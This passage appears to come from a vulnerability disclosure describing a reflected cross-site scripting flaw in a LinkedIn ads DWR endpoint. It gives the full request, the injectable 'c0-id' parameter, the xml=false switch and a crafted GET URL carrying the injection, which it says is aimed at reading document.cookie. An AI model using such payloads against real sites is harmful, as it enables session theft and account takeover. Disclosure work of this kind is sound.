Next, we show a typical request to the "/ads/dwr/exec/SasAjax.validateCreative.dwr" resource:
POST /ads/dwr/exec/SasAjax.validateCreative.dwr HTTP/1.1
Host: www.linkedin.com
......
callCount=1
JSESSIONID=0B3F07B2742AF0F5A020AB0FB72123D9
c0-scriptName=SasAjax
c0-methodName=validateCreative
c0-id=5518_1360723319833
c0-param0=string:
c0-param1=string:
c0-param2=string:
c0-param3=string:
c0-param4=string:
c0-param5=string:
c0-param6=string:en_US
c0-param7=string:0
c0-param8=string:0
c0-param9=number:0
xml=true
Some parameters are not used/validated by the application, so we can remove these parameters from the request. The only parameters that are required by the application are:
- callCount
- JSESSIONID <== can have anything value, but must match the JSESSIONID
cookie
- c0-id <== vulnerable parameter (we can inject HTML/script code through this parameter)
- xml <== we need to change the value from "true" (default value) to "false" to make possible the script code injection
Also, we can use HTTP GET method instead the HTTP POST method used at this request. This makes it more easy the exploitation of the XSS vulnerability. For example, we can inject script code to show an alert popup with the "document.cookie" value:
c0-id=5518_1360723319833');<!--
So, finally, this HTTP request provoke the XSS exploitation:
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateCreative.dwr?callCount=1&SESSIONID=0B3F07B2742AF0F5A020AB0FB72123D9&c0-id=5578_1362323397833');<!--&xml=false